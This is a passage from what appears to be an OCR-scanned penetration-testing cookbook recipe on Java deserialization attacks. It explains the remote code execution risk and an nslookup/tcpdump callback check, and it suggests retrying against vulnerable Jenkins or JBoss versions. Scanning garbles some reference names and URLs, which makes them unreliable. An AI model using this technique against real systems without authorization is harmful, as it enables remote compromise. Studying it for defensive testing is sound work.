listener, such as t cpdump, listening for any DNS lookups on port 53. From the
listener, you would see the DNS query to the IP address you specified in the
nslookup command.

How it works...

In cases where application code receives user input directly into an object without
performing sanitization on such input, an attacker has the opportunity to provide arbitrary
commands. The input is then serialized and run on the operating system where the
application resides, creating a possible attack vector for remote code execution.

There's more...

Since this recipe scenario is a bit contrived, you may not receive a response on your
network listener for the nslookup command. Try the recipe again after downloading a
vulnerable version of an application with known Java deserialization vulnerabilities (that
is, Jenkins, JBoss). Reuse the same steps shown here, only change the target application.

See also

¢ For more information about real-world Java deserialization attacks, check out
these links:
. Synﬂantec:https://www.symantec.com/security_response/
attacksignatures/detail.jsp?asid=30326
. Foxgk“KESecurﬂy:https://foxglovesecurity.com/2015/11/06/
what-do-weblogic-websphere-jboss—jenkins-opennms—-and-
your—application-have-in-common-this-vulnerability/

¢ To read more about this Burp plugin, check out https://blog.netspi.com/
java-deserialization—-attacks-burp/
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